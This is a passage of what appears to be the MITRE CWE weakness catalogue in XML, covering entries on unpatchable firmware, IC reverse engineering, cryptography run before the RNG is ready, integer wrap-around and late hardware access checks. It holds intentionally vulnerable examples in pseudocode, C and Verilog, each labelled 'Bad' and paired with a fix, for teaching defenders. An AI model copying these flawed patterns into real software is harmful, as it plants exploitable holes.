					<Example_Code Nature="Good" Language="Other">The device automatically patches itself and provides considerable more protection against being hacked.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
      			  <Observed_Example>
        		    <Reference>CVE-2020-9054</Reference>
        		    <Description>Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097]</Description>
        		    <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
      			  </Observed_Example>
			  <Observed_Example>
			    <Reference>[REF-1095]</Reference>
			    <Description>A hardware "smart lock" has weak key generation that allows attackers to steal the key by BLE sniffing, but the device's firmware cannot be upgraded and hence remains vulnerable [REF-1095].</Description>
			    <Link>https://www.theregister.com/2019/12/11/f_secure_keywe/</Link>
      			  </Observed_Example>
      			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="682"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1095"/>
				<Reference External_Reference_ID="REF-1096"/>
				<Reference External_Reference_ID="REF-1097"/>
			</References>
			<Notes>
                <Note Type="Terminology">The "firmware" term does not have a single commonly-shared definition, so there may be variations in how this CWE entry is interpreted during mapping.</Note>
            </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Paul A. Wortman</Submission_Name>
					<Submission_Organization>Wells Fargo</Submission_Organization>
					<Submission_Date>2020-05-13</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, References, Relationships, Terminology_Notes, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Observed_Examples, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
	      <Contribution_Name>Paul A. Wortman</Contribution_Name>
               <Contribution_Organization>Wells Fargo</Contribution_Organization>
               <Contribution_Date>2021-10-12</Contribution_Date>
               <Contribution_Comment>provided detection methods and observed examples</Contribution_Comment>
            </Contribution>
			</Content_History>
		</Weakness>
      <Weakness ID="1278" Name="Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.</Description>
			<Extended_Description>
				<xhtml:p>The physical structure of a device, viewed at high enough magnification, can reveal the information stored inside. Typical steps in IC reverse engineering involve removing the chip packaging (decapsulation) then using various imaging techniques ranging from high resolution x-ray microscopy to invasive techniques involving removing IC layers and imaging each layer using a scanning electron microscope.</xhtml:p>
				<xhtml:p>The goal of such activities is to recover secret keys, unique device identifiers, and proprietary code and circuit designs embedded in hardware that the attacker has been unsuccessful at accessing through other means. These secrets may be stored in non-volatile memory or in the circuit netlist. Memory technologies such as masked ROM allow easier to extraction of secrets than One-time Programmable (OTP) memory.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Varies by Context</Impact>
					<Note>A common goal of malicious actors who reverse engineer ICs is to produce and sell counterfeit versions of the IC.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>The cost of secret extraction via IC reverse engineering should outweigh the potential value of the secrets being extracted. Threat model and value of secrets should be used to choose the technology used to safeguard those secrets. Examples include IC camouflaging and obfuscation, tamper-proof packaging, active shielding, and physical tampering detection information erasure.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Consider an SoC design that embeds a secret key in read-only memory (ROM). The key is baked into the design logic and may not be modified after fabrication causing the key to be identical for all devices.  An attacker in possession of the IC can decapsulate and delayer the device. After imaging the layers, computer vision algorithms or manual inspection of the circuit features locate the ROM and reveal the value of the key bits as encoded in the visible circuit structure of the ROM.</Intro_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="188"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1092"/>
				<Reference External_Reference_ID="REF-1129"/>
			</References>
            <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements. It is more attack-oriented, so it might be more suited for CAPEC.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-20</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Potential_Mitigations, References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1279" Name="Cryptographic Operations are run Before Supporting Units are Ready" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Performing cryptographic operations without ensuring that the supporting inputs are ready to supply valid data may compromise the cryptographic result.</Description>
			<Extended_Description>Many cryptographic hardware units depend upon other hardware units to supply information to them to produce a securely encrypted result. For example, a cryptographic unit that depends on an external random-number-generator (RNG) unit for entropy must wait until the RNG unit is producing random numbers. If a cryptographic unit retrieves a private encryption key from a fuse unit, the fuse unit must be up and running before a key may be supplied.
			</Extended_Description>
			<Related_Weaknesses>
			 <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The decision to continue using a cryptographic unit even though the input units to it are not producing valid data will compromise the encrypted result.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Access Control</Scope>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Best practices should be used to design cryptographic systems.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Continuously ensuring that cryptographic inputs are supplying valid information is necessary to ensure that the encrypted output is secure. </Description>
				</Mitigation>
			
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The following pseudocode illustrates the weak encryption resulting from the use of a pseudo-random-number generator output. </Intro_Text>
					<Example_Code Nature="Bad" Language="Pseudocode">
					  If random_number_generator_self_test_passed() == TRUE<xhtml:br/>
					  then Seed = get_random_number_from_RNG()<xhtml:br/>
					  else Seed = hardcoded_number<xhtml:br/>
					
					</Example_Code>
					<Body_Text>In the example above, first a check of RNG ready is performed. If the check fails, the RNG is ignored and a hard coded value is used instead. The hard coded value severely weakens the encrypted output. </Body_Text>
					<Example_Code Nature="Good" Language="Pseudocode">
					  If random_number_generator_self_test_passed() == TRUE<xhtml:br/>
					  then Seed = get_random_number_from_RNG()<xhtml:br/>
					  else enter_error_state()<xhtml:br/>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="97"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-12</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Cryptographic Primitives used without Successful Self-Test</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="128" Name="Wrap-around Error" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="190" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Impact>DoS: Instability</Impact>
               <Note>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Note>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Requirements specification: The choice could be made to use a language that is not susceptible to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Provide clear upper and lower bounds on the scale of any protocols designed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Perform validation on all incremented variables to ensure that they remain within reasonable bounds.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-33">
               <Intro_Text>The following image processing code allocates a table for images.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>img_t table_ptr; /*struct containing img data, 10kB each*/<xhtml:br/>int num_imgs;<xhtml:br/>...<xhtml:br/>num_imgs = get_num_imgs();<xhtml:br/>table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Wrap-around error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM07-C</Entry_ID>
               <Entry_Name>Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Signed Integer Boundaries&#34;, Page 220"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Background_Details, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Background_Details</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1280" Name="Access Control Check Implemented After Asset is Accessed" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>A product's hardware-based access control check occurs after the asset has been accessed.</Description>
			<Extended_Description>
				<xhtml:p>The product implements a hardware-based access control check. The asset should be accessible only after the check is successful. If, however, this operation is not atomic and the asset is accessed before the check is complete, the security of the system may be compromised.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
                <Related_Weakness Nature="ChildOf" CWE_ID="696" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000"/>
            </Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Access Control</Scope>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Modify Application Data</Impact>
					<Impact>Read Application Data</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Implement the access control check first. Access should only be given to asset if agent is authorized. </Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
			  <Demonstrative_Example>
			    <Intro_Text>Assume that the module foo_bar implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal usr_id) 0x4 are allowed to modify the register contents. The signal grant_access is used to provide access. </Intro_Text>
			    <Example_Code Nature="Bad" Language="Verilog">
       			      module foo_bar(data_out, usr_id, data_in, clk, rst_n);<xhtml:br/>
       			      output reg [7:0] data_out;<xhtml:br/>
       			      input wire [2:0] usr_id;<xhtml:br/>
       			      input wire [7:0] data_in; <xhtml:br/>
       			      input wire clk, rst_n;<xhtml:br/>
       			      wire grant_access;<xhtml:br/>
       			      always @ (posedge clk or negedge rst_n)<xhtml:br/>
       			      begin<xhtml:br/>
       			      <xhtml:div style="margin-left:1em;">
				if (!rst_n)<xhtml:br/>
				<xhtml:div style="margin-left:1em;">
				  data_out = 0;
				</xhtml:div>
				else
				<xhtml:div style="margin-left:1em;">
				  data_out = (grant_access) ? data_in : data_out;<xhtml:br/>
				  assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;<xhtml:br/>
				</xhtml:div>
			      </xhtml:div>
			      end<xhtml:br/>
			      endmodule
			    </Example_Code>
			    <Body_Text>This code uses Verilog blocking assignments for data_out and grant_access. Therefore, these assignments happen sequentially (i.e., data_out is updated to new value first, and grant_access is updated the next cycle) and not in parallel. Therefore, the asset data_out is allowed to be modified even before the access control check is complete and grant_access signal is set. Since grant_access does not have a reset value, it will be meta-stable and will randomly go to either 0 or 1.</Body_Text>
			    <Body_Text>Flipping the order of the assignment of data_out and grant_access should solve the problem. The correct snippet of code is shown below.</Body_Text>
			    <Example_Code Nature="Good" Language="Verilog">
       			      always @ (posedge clk or negedge rst_n)<xhtml:br/>
       			      begin<xhtml:br/>
			      <xhtml:div style="margin-left:1em;">
				if (!rst_n)<xhtml:br/>
				<xhtml:div style="margin-left:1em;">
				  data_out = 0;<xhtml:br/>
				</xhtml:div>
				else<xhtml:br/>
				<xhtml:div style="margin-left:1em;">
				  assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;<xhtml:br/>
				  data_out = (grant_access) ? data_in : data_out;<xhtml:br/>
				</xhtml:div>
			      </xhtml:div>
			      end<xhtml:br/>
       			      endmodule
			    </Example_Code>
			  </Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-02-12</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1281" Name="Sequence of Processor Instructions Leads to Unexpected Behavior" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.</Description>
			<Extended_Description>
				<xhtml:p>If the instruction set architecture (ISA) and processor logic are not designed carefully and tested thoroughly, certain combinations of instructions may lead to locking the processor or other unexpected and undesirable behavior.  Upon encountering unimplemented instruction opcodes or illegal instruction operands, the processor should throw an exception and carry on without negatively impacting security.  However, specific combinations of legal and illegal instructions may cause unexpected behavior with security implications such as allowing unprivileged programs to completely lock the CPU. 
                </xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Unexpected behavior from certain instruction combinations can arise from bugs in the ISA</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Unexpected behavior from certain instruction combinations can arise because of implementation details such as speculative execution, caching etc.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Testing</Phase>
					<Description>Implement a rigorous testing strategy that incorporates randomization to explore instruction sequences that are unlikely to appear in normal workloads in order to identify halt and catch fire instruction sequences.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Patching and Maintenance</Phase>
					<Description>Patch operating system to avoid running Halt and Catch Fire type sequences or to mitigate the damage caused by unexpected behavior.  See [REF-1108].</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
